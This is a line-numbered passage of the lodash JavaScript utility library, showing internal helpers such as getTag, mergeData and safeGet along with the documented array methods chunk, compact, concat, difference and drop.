6097 return result;
6098 }
6099
6100 /**
6101 * Creates an array of the own enumerable symbols of `object`.
6102 *
6103 * @private
6104 * @param {Object} object The object to query.
6105 * @returns {Array} Returns the array of symbols.
6106 */
6107 var getSymbols = !nativeGetSymbols ? stubArray : function(object) {
6108 if (object == null) {
6109 return [];
6110 }
6111 object = Object(object);
6112 return arrayFilter(nativeGetSymbols(object), function(symbol) {
6113 return propertyIsEnumerable.call(object, symbol);
6114 });
6115 };
6116
6117 /**
6118 * Creates an array of the own and inherited enumerable symbols of `object`.
6119 *
6120 * @private
6121 * @param {Object} object The object to query.
6122 * @returns {Array} Returns the array of symbols.
6123 */
6124 var getSymbolsIn = !nativeGetSymbols ? stubArray : function(object) {
6125 var result = [];
6126 while (object) {
6127 arrayPush(result, getSymbols(object));
6128 object = getPrototype(object);
6129 }
6130 return result;
6131 };
6132
6133 /**
6134 * Gets the `toStringTag` of `value`.
6135 *
6136 * @private
6137 * @param {*} value The value to query.
6138 * @returns {string} Returns the `toStringTag`.
6139 */
6140 var getTag = baseGetTag;
6141
6142 // Fallback for data views, maps, sets, and weak maps in IE 11 and promises in Node.js < 6.
6143 if ((DataView && getTag(new DataView(new ArrayBuffer(1))) != dataViewTag) ||
6144 (Map && getTag(new Map) != mapTag) ||
6145 (Promise && getTag(Promise.resolve()) != promiseTag) ||
6146 (Set && getTag(new Set) != setTag) ||
6147 (WeakMap && getTag(new WeakMap) != weakMapTag)) {
6148 getTag = function(value) {
6149 var result = baseGetTag(value),
6150 Ctor = result == objectTag ? value.constructor : undefined,
6151 ctorString = Ctor ? toSource(Ctor) : '';
6152
6153 if (ctorString) {
6154 switch (ctorString) {
6155 case dataViewCtorString: return dataViewTag;
6156 case mapCtorString: return mapTag;
6157 case promiseCtorString: return promiseTag;
6158 case setCtorString: return setTag;
6159 case weakMapCtorString: return weakMapTag;
6160 }
6161 }
6162 return result;
6163 };
6164 }
6165
6166 /**
6167 * Gets the view, applying any `transforms` to the `start` and `end` positions.
6168 *
6169 * @private
6170 * @param {number} start The start of the view.
6171 * @param {number} end The end of the view.
6172 * @param {Array} transforms The transformations to apply to the view.
6173 * @returns {Object} Returns an object containing the `start` and `end`
6174 * positions of the view.
6175 */
6176 function getView(start, end, transforms) {
6177 var index = -1,
6178 length = transforms.length;
6179
6180 while (++index < length) {
6181 var data = transforms[index],
6182 size = data.size;
6183
6184 switch (data.type) {
6185 case 'drop': start += size; break;
6186 case 'dropRight': end -= size; break;
6187 case 'take': end = nativeMin(end, start + size); break;
6188 case 'takeRight': start = nativeMax(start, end - size); break;
6189 }
6190 }
6191 return { 'start': start, 'end': end };
6192 }
6193
6194 /**
6195 * Extracts wrapper details from the `source` body comment.
6196 *
6197 * @private
6198 * @param {string} source The source to inspect.
6199 * @returns {Array} Returns the wrapper details.
6200 */
6201 function getWrapDetails(source) {
6202 var match = source.match(reWrapDetails);
6203 return match ? match[1].split(reSplitDetails) : [];
6204 }
6205
6206 /**
6207 * Checks if `path` exists on `object`.
6208 *
6209 * @private
6210 * @param {Object} object The object to query.
6211 * @param {Array|string} path The path to check.
6212 * @param {Function} hasFunc The function to check properties.
6213 * @returns {boolean} Returns `true` if `path` exists, else `false`.
6214 */
6215 function hasPath(object, path, hasFunc) {
6216 path = castPath(path, object);
6217
6218 var index = -1,
6219 length = path.length,
6220 result = false;
6221
6222 while (++index < length) {
6223 var key = toKey(path[index]);
6224 if (!(result = object != null && hasFunc(object, key))) {
6225 break;
6226 }
6227 object = object[key];
6228 }
6229 if (result || ++index != length) {
6230 return result;
6231 }
6232 length = object == null ? 0 : object.length;
6233 return !!length && isLength(length) && isIndex(key, length) &&
6234 (isArray(object) || isArguments(object));
6235 }
6236
6237 /**
6238 * Initializes an array clone.
6239 *
6240 * @private
6241 * @param {Array} array The array to clone.
6242 * @returns {Array} Returns the initialized clone.
6243 */
6244 function initCloneArray(array) {
6245 var length = array.length,
6246 result = new array.constructor(length);
6247
6248 // Add properties assigned by `RegExp#exec`.
6249 if (length && typeof array[0] == 'string' && hasOwnProperty.call(array, 'index')) {
6250 result.index = array.index;
6251 result.input = array.input;
6252 }
6253 return result;
6254 }
6255
6256 /**
6257 * Initializes an object clone.
6258 *
6259 * @private
6260 * @param {Object} object The object to clone.
6261 * @returns {Object} Returns the initialized clone.
6262 */
6263 function initCloneObject(object) {
6264 return (typeof object.constructor == 'function' && !isPrototype(object))
6265 ? baseCreate(getPrototype(object))
6266 : {};
6267 }
6268
6269 /**
6270 * Initializes an object clone based on its `toStringTag`.
6271 *
6272 * **Note:** This function only supports cloning values with tags of
6273 * `Boolean`, `Date`, `Error`, `Map`, `Number`, `RegExp`, `Set`, or `String`.
6274 *
6275 * @private
6276 * @param {Object} object The object to clone.
6277 * @param {string} tag The `toStringTag` of the object to clone.
6278 * @param {boolean} [isDeep] Specify a deep clone.
6279 * @returns {Object} Returns the initialized clone.
6280 */
6281 function initCloneByTag(object, tag, isDeep) {
6282 var Ctor = object.constructor;
6283 switch (tag) {
6284 case arrayBufferTag:
6285 return cloneArrayBuffer(object);
6286
6287 case boolTag:
6288 case dateTag:
6289 return new Ctor(+object);
6290
6291 case dataViewTag:
6292 return cloneDataView(object, isDeep);
6293
6294 case float32Tag: case float64Tag:
6295 case int8Tag: case int16Tag: case int32Tag:
6296 case uint8Tag: case uint8ClampedTag: case uint16Tag: case uint32Tag:
6297 return cloneTypedArray(object, isDeep);
6298
6299 case mapTag:
6300 return new Ctor;
6301
6302 case numberTag:
6303 case stringTag:
6304 return new Ctor(object);
6305
6306 case regexpTag:
6307 return cloneRegExp(object);
6308
6309 case setTag:
6310 return new Ctor;
6311
6312 case symbolTag:
6313 return cloneSymbol(object);
6314 }
6315 }
6316
6317 /**
6318 * Inserts wrapper `details` in a comment at the top of the `source` body.
6319 *
6320 * @private
6321 * @param {string} source The source to modify.
6322 * @returns {Array} details The details to insert.
6323 * @returns {string} Returns the modified source.
6324 */
6325 function insertWrapDetails(source, details) {
6326 var length = details.length;
6327 if (!length) {
6328 return source;
6329 }
6330 var lastIndex = length - 1;
6331 details[lastIndex] = (length > 1 ? '& ' : '') + details[lastIndex];
6332 details = details.join(length > 2 ? ', ' : ' ');
6333 return source.replace(reWrapComment, '{\n/* [wrapped with ' + details + '] */\n');
6334 }
6335
6336 /**
6337 * Checks if `value` is a flattenable `arguments` object or array.
6338 *
6339 * @private
6340 * @param {*} value The value to check.
6341 * @returns {boolean} Returns `true` if `value` is flattenable, else `false`.
6342 */
6343 function isFlattenable(value) {
6344 return isArray(value) || isArguments(value) ||
6345 !!(spreadableSymbol && value && value[spreadableSymbol]);
6346 }
6347
6348 /**
6349 * Checks if `value` is a valid array-like index.
6350 *
6351 * @private
6352 * @param {*} value The value to check.
6353 * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
6354 * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
6355 */
6356 function isIndex(value, length) {
6357 var type = typeof value;
6358 length = length == null ? MAX_SAFE_INTEGER : length;
6359
6360 return !!length &&
6361 (type == 'number' ||
6362 (type != 'symbol' && reIsUint.test(value))) &&
6363 (value > -1 && value % 1 == 0 && value < length);
6364 }
6365
6366 /**
6367 * Checks if the given arguments are from an iteratee call.
6368 *
6369 * @private
6370 * @param {*} value The potential iteratee value argument.
6371 * @param {*} index The potential iteratee index or key argument.
6372 * @param {*} object The potential iteratee object argument.
6373 * @returns {boolean} Returns `true` if the arguments are from an iteratee call,
6374 * else `false`.
6375 */
6376 function isIterateeCall(value, index, object) {
6377 if (!isObject(object)) {
6378 return false;
6379 }
6380 var type = typeof index;
6381 if (type == 'number'
6382 ? (isArrayLike(object) && isIndex(index, object.length))
6383 : (type == 'string' && index in object)
6384 ) {
6385 return eq(object[index], value);
6386 }
6387 return false;
6388 }
6389
6390 /**
6391 * Checks if `value` is a property name and not a property path.
6392 *
6393 * @private
6394 * @param {*} value The value to check.
6395 * @param {Object} [object] The object to query keys on.
6396 * @returns {boolean} Returns `true` if `value` is a property name, else `false`.
6397 */
6398 function isKey(value, object) {
6399 if (isArray(value)) {
6400 return false;
6401 }
6402 var type = typeof value;
6403 if (type == 'number' || type == 'symbol' || type == 'boolean' ||
6404 value == null || isSymbol(value)) {
6405 return true;
6406 }
6407 return reIsPlainProp.test(value) || !reIsDeepProp.test(value) ||
6408 (object != null && value in Object(object));
6409 }
6410
6411 /**
6412 * Checks if `value` is suitable for use as unique object key.
6413 *
6414 * @private
6415 * @param {*} value The value to check.
6416 * @returns {boolean} Returns `true` if `value` is suitable, else `false`.
6417 */
6418 function isKeyable(value) {
6419 var type = typeof value;
6420 return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean')
6421 ? (value !== '__proto__')
6422 : (value === null);
6423 }
6424
6425 /**
6426 * Checks if `func` has a lazy counterpart.
6427 *
6428 * @private
6429 * @param {Function} func The function to check.
6430 * @returns {boolean} Returns `true` if `func` has a lazy counterpart,
6431 * else `false`.
6432 */
6433 function isLaziable(func) {
6434 var funcName = getFuncName(func),
6435 other = lodash[funcName];
6436
6437 if (typeof other != 'function' || !(funcName in LazyWrapper.prototype)) {
6438 return false;
6439 }
6440 if (func === other) {
6441 return true;
6442 }
6443 var data = getData(other);
6444 return !!data && func === data[0];
6445 }
6446
6447 /**
6448 * Checks if `func` has its source masked.
6449 *
6450 * @private
6451 * @param {Function} func The function to check.
6452 * @returns {boolean} Returns `true` if `func` is masked, else `false`.
6453 */
6454 function isMasked(func) {
6455 return !!maskSrcKey && (maskSrcKey in func);
6456 }
6457
6458 /**
6459 * Checks if `func` is capable of being masked.
6460 *
6461 * @private
6462 * @param {*} value The value to check.
6463 * @returns {boolean} Returns `true` if `func` is maskable, else `false`.
6464 */
6465 var isMaskable = coreJsData ? isFunction : stubFalse;
6466
6467 /**
6468 * Checks if `value` is likely a prototype object.
6469 *
6470 * @private
6471 * @param {*} value The value to check.
6472 * @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
6473 */
6474 function isPrototype(value) {
6475 var Ctor = value && value.constructor,
6476 proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;
6477
6478 return value === proto;
6479 }
6480
6481 /**
6482 * Checks if `value` is suitable for strict equality comparisons, i.e. `===`.
6483 *
6484 * @private
6485 * @param {*} value The value to check.
6486 * @returns {boolean} Returns `true` if `value` if suitable for strict
6487 * equality comparisons, else `false`.
6488 */
6489 function isStrictComparable(value) {
6490 return value === value && !isObject(value);
6491 }
6492
6493 /**
6494 * A specialized version of `matchesProperty` for source values suitable
6495 * for strict equality comparisons, i.e. `===`.
6496 *
6497 * @private
6498 * @param {string} key The key of the property to get.
6499 * @param {*} srcValue The value to match.
6500 * @returns {Function} Returns the new spec function.
6501 */
6502 function matchesStrictComparable(key, srcValue) {
6503 return function(object) {
6504 if (object == null) {
6505 return false;
6506 }
6507 return object[key] === srcValue &&
6508 (srcValue !== undefined || (key in Object(object)));
6509 };
6510 }
6511
6512 /**
6513 * A specialized version of `_.memoize` which clears the memoized function's
6514 * cache when it exceeds `MAX_MEMOIZE_SIZE`.
6515 *
6516 * @private
6517 * @param {Function} func The function to have its output memoized.
6518 * @returns {Function} Returns the new memoized function.
6519 */
6520 function memoizeCapped(func) {
6521 var result = memoize(func, function(key) {
6522 if (cache.size === MAX_MEMOIZE_SIZE) {
6523 cache.clear();
6524 }
6525 return key;
6526 });
6527
6528 var cache = result.cache;
6529 return result;
6530 }
6531
6532 /**
6533 * Merges the function metadata of `source` into `data`.
6534 *
6535 * Merging metadata reduces the number of wrappers used to invoke a function.
6536 * This is possible because methods like `_.bind`, `_.curry`, and `_.partial`
6537 * may be applied regardless of execution order. Methods like `_.ary` and
6538 * `_.rearg` modify function arguments, making the order in which they are
6539 * executed important, preventing the merging of metadata. However, we make
6540 * an exception for a safe combined case where curried functions have `_.ary`
6541 * and or `_.rearg` applied.
6542 *
6543 * @private
6544 * @param {Array} data The destination metadata.
6545 * @param {Array} source The source metadata.
6546 * @returns {Array} Returns `data`.
6547 */
6548 function mergeData(data, source) {
6549 var bitmask = data[1],
6550 srcBitmask = source[1],
6551 newBitmask = bitmask | srcBitmask,
6552 isCommon = newBitmask < (WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG | WRAP_ARY_FLAG);
6553
6554 var isCombo =
6555 ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_CURRY_FLAG)) ||
6556 ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_REARG_FLAG) && (data[7].length <= source[8])) ||
6557 ((srcBitmask == (WRAP_ARY_FLAG | WRAP_REARG_FLAG)) && (source[7].length <= source[8]) && (bitmask == WRAP_CURRY_FLAG));
6558
6559 // Exit early if metadata can't be merged.
6560 if (!(isCommon || isCombo)) {
6561 return data;
6562 }
6563 // Use source `thisArg` if available.
6564 if (srcBitmask & WRAP_BIND_FLAG) {
6565 data[2] = source[2];
6566 // Set when currying a bound function.
6567 newBitmask |= bitmask & WRAP_BIND_FLAG ? 0 : WRAP_CURRY_BOUND_FLAG;
6568 }
6569 // Compose partial arguments.
6570 var value = source[3];
6571 if (value) {
6572 var partials = data[3];
6573 data[3] = partials ? composeArgs(partials, value, source[4]) : value;
6574 data[4] = partials ? replaceHolders(data[3], PLACEHOLDER) : source[4];
6575 }
6576 // Compose partial right arguments.
6577 value = source[5];
6578 if (value) {
6579 partials = data[5];
6580 data[5] = partials ? composeArgsRight(partials, value, source[6]) : value;
6581 data[6] = partials ? replaceHolders(data[5], PLACEHOLDER) : source[6];
6582 }
6583 // Use source `argPos` if available.
6584 value = source[7];
6585 if (value) {
6586 data[7] = value;
6587 }
6588 // Use source `ary` if it's smaller.
6589 if (srcBitmask & WRAP_ARY_FLAG) {
6590 data[8] = data[8] == null ? source[8] : nativeMin(data[8], source[8]);
6591 }
6592 // Use source `arity` if one is not provided.
6593 if (data[9] == null) {
6594 data[9] = source[9];
6595 }
6596 // Use source `func` and merge bitmasks.
6597 data[0] = source[0];
6598 data[1] = newBitmask;
6599
6600 return data;
6601 }
6602
6603 /**
6604 * This function is like
6605 * [`Object.keys`](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
6606 * except that it includes inherited enumerable properties.
6607 *
6608 * @private
6609 * @param {Object} object The object to query.
6610 * @returns {Array} Returns the array of property names.
6611 */
6612 function nativeKeysIn(object) {
6613 var result = [];
6614 if (object != null) {
6615 for (var key in Object(object)) {
6616 result.push(key);
6617 }
6618 }
6619 return result;
6620 }
6621
6622 /**
6623 * Converts `value` to a string using `Object.prototype.toString`.
6624 *
6625 * @private
6626 * @param {*} value The value to convert.
6627 * @returns {string} Returns the converted string.
6628 */
6629 function objectToString(value) {
6630 return nativeObjectToString.call(value);
6631 }
6632
6633 /**
6634 * A specialized version of `baseRest` which transforms the rest array.
6635 *
6636 * @private
6637 * @param {Function} func The function to apply a rest parameter to.
6638 * @param {number} [start=func.length-1] The start position of the rest parameter.
6639 * @param {Function} transform The rest array transform.
6640 * @returns {Function} Returns the new function.
6641 */
6642 function overRest(func, start, transform) {
6643 start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
6644 return function() {
6645 var args = arguments,
6646 index = -1,
6647 length = nativeMax(args.length - start, 0),
6648 array = Array(length);
6649
6650 while (++index < length) {
6651 array[index] = args[start + index];
6652 }
6653 index = -1;
6654 var otherArgs = Array(start + 1);
6655 while (++index < start) {
6656 otherArgs[index] = args[index];
6657 }
6658 otherArgs[start] = transform(array);
6659 return apply(func, this, otherArgs);
6660 };
6661 }
6662
6663 /**
6664 * Gets the parent value at `path` of `object`.
6665 *
6666 * @private
6667 * @param {Object} object The object to query.
6668 * @param {Array} path The path to get the parent value of.
6669 * @returns {*} Returns the parent value.
6670 */
6671 function parent(object, path) {
6672 return path.length < 2 ? object : baseGet(object, baseSlice(path, 0, -1));
6673 }
6674
6675 /**
6676 * Reorder `array` according to the specified indexes where the element at
6677 * the first index is assigned as the first element, the element at
6678 * the second index is assigned as the second element, and so on.
6679 *
6680 * @private
6681 * @param {Array} array The array to reorder.
6682 * @param {Array} indexes The arranged array indexes.
6683 * @returns {Array} Returns `array`.
6684 */
6685 function reorder(array, indexes) {
6686 var arrLength = array.length,
6687 length = nativeMin(indexes.length, arrLength),
6688 oldArray = copyArray(array);
6689
6690 while (length--) {
6691 var index = indexes[length];
6692 array[length] = isIndex(index, arrLength) ? oldArray[index] : undefined;
6693 }
6694 return array;
6695 }
6696
6697 /**
6698 * Gets the value at `key`, unless `key` is "__proto__" or "constructor".
6699 *
6700 * @private
6701 * @param {Object} object The object to query.
6702 * @param {string} key The key of the property to get.
6703 * @returns {*} Returns the property value.
6704 */
6705 function safeGet(object, key) {
6706 if (key === 'constructor' && typeof object[key] === 'function') {
6707 return;
6708 }
6709
6710 if (key == '__proto__') {
6711 return;
6712 }
6713
6714 return object[key];
6715 }
6716
6717 /**
6718 * Sets metadata for `func`.
6719 *
6720 * **Note:** If this function becomes hot, i.e. is invoked a lot in a short
6721 * period of time, it will trip its breaker and transition to an identity
6722 * function to avoid garbage collection pauses in V8. See
6723 * [V8 issue 2070](https://bugs.chromium.org/p/v8/issues/detail?id=2070)
6724 * for more details.
6725 *
6726 * @private
6727 * @param {Function} func The function to associate metadata with.
6728 * @param {*} data The metadata.
6729 * @returns {Function} Returns `func`.
6730 */
6731 var setData = shortOut(baseSetData);
6732
6733 /**
6734 * A simple wrapper around the global [`setTimeout`](https://mdn.io/setTimeout).
6735 *
6736 * @private
6737 * @param {Function} func The function to delay.
6738 * @param {number} wait The number of milliseconds to delay invocation.
6739 * @returns {number|Object} Returns the timer id or timeout object.
6740 */
6741 var setTimeout = ctxSetTimeout || function(func, wait) {
6742 return root.setTimeout(func, wait);
6743 };
6744
6745 /**
6746 * Sets the `toString` method of `func` to return `string`.
6747 *
6748 * @private
6749 * @param {Function} func The function to modify.
6750 * @param {Function} string The `toString` result.
6751 * @returns {Function} Returns `func`.
6752 */
6753 var setToString = shortOut(baseSetToString);
6754
6755 /**
6756 * Sets the `toString` method of `wrapper` to mimic the source of `reference`
6757 * with wrapper details in a comment at the top of the source body.
6758 *
6759 * @private
6760 * @param {Function} wrapper The function to modify.
6761 * @param {Function} reference The reference function.
6762 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
6763 * @returns {Function} Returns `wrapper`.
6764 */
6765 function setWrapToString(wrapper, reference, bitmask) {
6766 var source = (reference + '');
6767 return setToString(wrapper, insertWrapDetails(source, updateWrapDetails(getWrapDetails(source), bitmask)));
6768 }
6769
6770 /**
6771 * Creates a function that'll short out and invoke `identity` instead
6772 * of `func` when it's called `HOT_COUNT` or more times in `HOT_SPAN`
6773 * milliseconds.
6774 *
6775 * @private
6776 * @param {Function} func The function to restrict.
6777 * @returns {Function} Returns the new shortable function.
6778 */
6779 function shortOut(func) {
6780 var count = 0,
6781 lastCalled = 0;
6782
6783 return function() {
6784 var stamp = nativeNow(),
6785 remaining = HOT_SPAN - (stamp - lastCalled);
6786
6787 lastCalled = stamp;
6788 if (remaining > 0) {
6789 if (++count >= HOT_COUNT) {
6790 return arguments[0];
6791 }
6792 } else {
6793 count = 0;
6794 }
6795 return func.apply(undefined, arguments);
6796 };
6797 }
6798
6799 /**
6800 * A specialized version of `_.shuffle` which mutates and sets the size of `array`.
6801 *
6802 * @private
6803 * @param {Array} array The array to shuffle.
6804 * @param {number} [size=array.length] The size of `array`.
6805 * @returns {Array} Returns `array`.
6806 */
6807 function shuffleSelf(array, size) {
6808 var index = -1,
6809 length = array.length,
6810 lastIndex = length - 1;
6811
6812 size = size === undefined ? length : size;
6813 while (++index < size) {
6814 var rand = baseRandom(index, lastIndex),
6815 value = array[rand];
6816
6817 array[rand] = array[index];
6818 array[index] = value;
6819 }
6820 array.length = size;
6821 return array;
6822 }
6823
6824 /**
6825 * Converts `string` to a property path array.
6826 *
6827 * @private
6828 * @param {string} string The string to convert.
6829 * @returns {Array} Returns the property path array.
6830 */
6831 var stringToPath = memoizeCapped(function(string) {
6832 var result = [];
6833 if (string.charCodeAt(0) === 46 /* . */) {
6834 result.push('');
6835 }
6836 string.replace(rePropName, function(match, number, quote, subString) {
6837 result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match));
6838 });
6839 return result;
6840 });
6841
6842 /**
6843 * Converts `value` to a string key if it's not a string or symbol.
6844 *
6845 * @private
6846 * @param {*} value The value to inspect.
6847 * @returns {string|symbol} Returns the key.
6848 */
6849 function toKey(value) {
6850 if (typeof value == 'string' || isSymbol(value)) {
6851 return value;
6852 }
6853 var result = (value + '');
6854 return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
6855 }
6856
6857 /**
6858 * Converts `func` to its source code.
6859 *
6860 * @private
6861 * @param {Function} func The function to convert.
6862 * @returns {string} Returns the source code.
6863 */
6864 function toSource(func) {
6865 if (func != null) {
6866 try {
6867 return funcToString.call(func);
6868 } catch (e) {}
6869 try {
6870 return (func + '');
6871 } catch (e) {}
6872 }
6873 return '';
6874 }
6875
6876 /**
6877 * Updates wrapper `details` based on `bitmask` flags.
6878 *
6879 * @private
6880 * @returns {Array} details The details to modify.
6881 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
6882 * @returns {Array} Returns `details`.
6883 */
6884 function updateWrapDetails(details, bitmask) {
6885 arrayEach(wrapFlags, function(pair) {
6886 var value = '_.' + pair[0];
6887 if ((bitmask & pair[1]) && !arrayIncludes(details, value)) {
6888 details.push(value);
6889 }
6890 });
6891 return details.sort();
6892 }
6893
6894 /**
6895 * Creates a clone of `wrapper`.
6896 *
6897 * @private
6898 * @param {Object} wrapper The wrapper to clone.
6899 * @returns {Object} Returns the cloned wrapper.
6900 */
6901 function wrapperClone(wrapper) {
6902 if (wrapper instanceof LazyWrapper) {
6903 return wrapper.clone();
6904 }
6905 var result = new LodashWrapper(wrapper.__wrapped__, wrapper.__chain__);
6906 result.__actions__ = copyArray(wrapper.__actions__);
6907 result.__index__ = wrapper.__index__;
6908 result.__values__ = wrapper.__values__;
6909 return result;
6910 }
6911
6912 /*------------------------------------------------------------------------*/
6913
6914 /**
6915 * Creates an array of elements split into groups the length of `size`.
6916 * If `array` can't be split evenly, the final chunk will be the remaining
6917 * elements.
6918 *
6919 * @static
6920 * @memberOf _
6921 * @since 3.0.0
6922 * @category Array
6923 * @param {Array} array The array to process.
6924 * @param {number} [size=1] The length of each chunk
6925 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
6926 * @returns {Array} Returns the new array of chunks.
6927 * @example
6928 *
6929 * _.chunk(['a', 'b', 'c', 'd'], 2);
6930 * // => [['a', 'b'], ['c', 'd']]
6931 *
6932 * _.chunk(['a', 'b', 'c', 'd'], 3);
6933 * // => [['a', 'b', 'c'], ['d']]
6934 */
6935 function chunk(array, size, guard) {
6936 if ((guard ? isIterateeCall(array, size, guard) : size === undefined)) {
6937 size = 1;
6938 } else {
6939 size = nativeMax(toInteger(size), 0);
6940 }
6941 var length = array == null ? 0 : array.length;
6942 if (!length || size < 1) {
6943 return [];
6944 }
6945 var index = 0,
6946 resIndex = 0,
6947 result = Array(nativeCeil(length / size));
6948
6949 while (index < length) {
6950 result[resIndex++] = baseSlice(array, index, (index += size));
6951 }
6952 return result;
6953 }
6954
6955 /**
6956 * Creates an array with all falsey values removed. The values `false`, `null`,
6957 * `0`, `-0`, `0n`, `""`, `undefined`, and `NaN` are falsy.
6958 *
6959 * @static
6960 * @memberOf _
6961 * @since 0.1.0
6962 * @category Array
6963 * @param {Array} array The array to compact.
6964 * @returns {Array} Returns the new array of filtered values.
6965 * @example
6966 *
6967 * _.compact([0, 1, false, 2, '', 3]);
6968 * // => [1, 2, 3]
6969 */
6970 function compact(array) {
6971 var index = -1,
6972 length = array == null ? 0 : array.length,
6973 resIndex = 0,
6974 result = [];
6975
6976 while (++index < length) {
6977 var value = array[index];
6978 if (value) {
6979 result[resIndex++] = value;
6980 }
6981 }
6982 return result;
6983 }
6984
6985 /**
6986 * Creates a new array concatenating `array` with any additional arrays
6987 * and/or values.
6988 *
6989 * @static
6990 * @memberOf _
6991 * @since 4.0.0
6992 * @category Array
6993 * @param {Array} array The array to concatenate.
6994 * @param {...*} [values] The values to concatenate.
6995 * @returns {Array} Returns the new concatenated array.
6996 * @example
6997 *
6998 * var array = [1];
6999 * var other = _.concat(array, 2, [3], [[4]]);
7000 *
7001 * console.log(other);
7002 * // => [1, 2, 3, [4]]
7003 *
7004 * console.log(array);
7005 * // => [1]
7006 */
7007 function concat() {
7008 var length = arguments.length;
7009 if (!length) {
7010 return [];
7011 }
7012 var args = Array(length - 1),
7013 array = arguments[0],
7014 index = length;
7015
7016 while (index--) {
7017 args[index - 1] = arguments[index];
7018 }
7019 return arrayPush(isArray(array) ? copyArray(array) : [array], baseFlatten(args, 1));
7020 }
7021
7022 /**
7023 * Creates an array of `array` values not included in the other given arrays
7024 * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
7025 * for equality comparisons. The order and references of result values are
7026 * determined by the first array.
7027 *
7028 * **Note:** Unlike `_.pullAll`, this method returns a new array.
7029 *
7030 * @static
7031 * @memberOf _
7032 * @since 0.1.0
7033 * @category Array
7034 * @param {Array} array The array to inspect.
7035 * @param {...Array} [values] The values to exclude.
7036 * @returns {Array} Returns the new array of filtered values.
7037 * @see _.without, _.xor
7038 * @example
7039 *
7040 * _.difference([2, 1], [2, 3]);
7041 * // => [1]
7042 */
7043 var difference = baseRest(function(array, values) {
7044 return isArrayLikeObject(array)
7045 ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true))
7046 : [];
7047 });
7048
7049 /**
7050 * This method is like `_.difference` except that it accepts `iteratee` which
7051 * is invoked for each element of `array` and `values` to generate the criterion
7052 * by which they're compared. The order and references of result values are
7053 * determined by the first array. The iteratee is invoked with one argument:
7054 * (value).
7055 *
7056 * **Note:** Unlike `_.pullAllBy`, this method returns a new array.
7057 *
7058 * @static
7059 * @memberOf _
7060 * @since 4.0.0
7061 * @category Array
7062 * @param {Array} array The array to inspect.
7063 * @param {...Array} [values] The values to exclude.
7064 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
7065 * @returns {Array} Returns the new array of filtered values.
7066 * @example
7067 *
7068 * _.differenceBy([2.1, 1.2], [2.3, 3.4], Math.floor);
7069 * // => [1.2]
7070 *
7071 * // The `_.property` iteratee shorthand.
7072 * _.differenceBy([{ 'x': 2 }, { 'x': 1 }], [{ 'x': 1 }], 'x');
7073 * // => [{ 'x': 2 }]
7074 */
7075 var differenceBy = baseRest(function(array, values) {
7076 var iteratee = last(values);
7077 if (isArrayLikeObject(iteratee)) {
7078 iteratee = undefined;
7079 }
7080 return isArrayLikeObject(array)
7081 ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), getIteratee(iteratee, 2))
7082 : [];
7083 });
7084
7085 /**
7086 * This method is like `_.difference` except that it accepts `comparator`
7087 * which is invoked to compare elements of `array` to `values`. The order and
7088 * references of result values are determined by the first array. The comparator
7089 * is invoked with two arguments: (arrVal, othVal).
7090 *
7091 * **Note:** Unlike `_.pullAllWith`, this method returns a new array.
7092 *
7093 * @static
7094 * @memberOf _
7095 * @since 4.0.0
7096 * @category Array
7097 * @param {Array} array The array to inspect.
7098 * @param {...Array} [values] The values to exclude.
7099 * @param {Function} [comparator] The comparator invoked per element.
7100 * @returns {Array} Returns the new array of filtered values.
7101 * @example
7102 *
7103 * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
7104 *
7105 * _.differenceWith(objects, [{ 'x': 1, 'y': 2 }], _.isEqual);
7106 * // => [{ 'x': 2, 'y': 1 }]
7107 */
7108 var differenceWith = baseRest(function(array, values) {
7109 var comparator = last(values);
7110 if (isArrayLikeObject(comparator)) {
7111 comparator = undefined;
7112 }
7113 return isArrayLikeObject(array)
7114 ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), undefined, comparator)
7115 : [];
7116 });
7117
7118 /**
7119 * Creates a slice of `array` with `n` elements dropped from the beginning.
7120 *
7121 * @static
7122 * @memberOf _
7123 * @since 0.5.0
7124 * @category Array
7125 * @param {Array} array The array to query.
7126 * @param {number} [n=1] The number of elements to drop.
7127 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
7128 * @returns {Array} Returns the slice of `array`.
7129 * @example
7130 *
7131 * _.drop([1, 2, 3]);
7132 * // => [2, 3]
7133 *
7134 * _.drop([1, 2, 3], 2);
7135 * // => [3]
7136 *
7137 * _.drop([1, 2, 3], 5);
7138 * // => []
7139 *
7140 * _.drop([1, 2, 3], 0);
7141 * // => [1, 2, 3]
7142 */
7143 function drop(array, n, guard) {
7144 var length = array == null ? 0 : array.length;
7145 if (!length) {
7146 return [];
7147 }
7148 n = (guard || n === undefined) ? 1 : toInteger(n);
7149 return baseSlice(array, n < 0 ? 0 : n, length);
7150 }
7151
7152 /**
7153 * Creates a slice of `array` with `n` elements dropped from the end.
7154 *
7155 * @static
7156 * @memberOf _
7157 * @since 3.0.0
7158 * @category Array
7159 * @param {Array} array The array to query.
7160 * @param {number} [n=1] The number of elements to drop.
7161 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
7162 * @returns {Array} Returns the slice of `array`.
7163 * @example
7164 *
7165 * _.dropRight([1, 2, 3]);
7166 * // => [1, 2]
7167 *
7168 * _.dropRight([1, 2, 3], 2);
7169 * // => [1]
7170 *
7171 * _.dropRight([1, 2, 3], 5);
7172 * // => []
7173 *
7174 * _.dropRight([1, 2, 3], 0);
7175 * // => [1, 2, 3]
7176 */
7177 function dropRight(array, n, guard) {
7178 var length = array == null ? 0 : array.length;
7179 if (!length) {
7180 return [];
7181 }
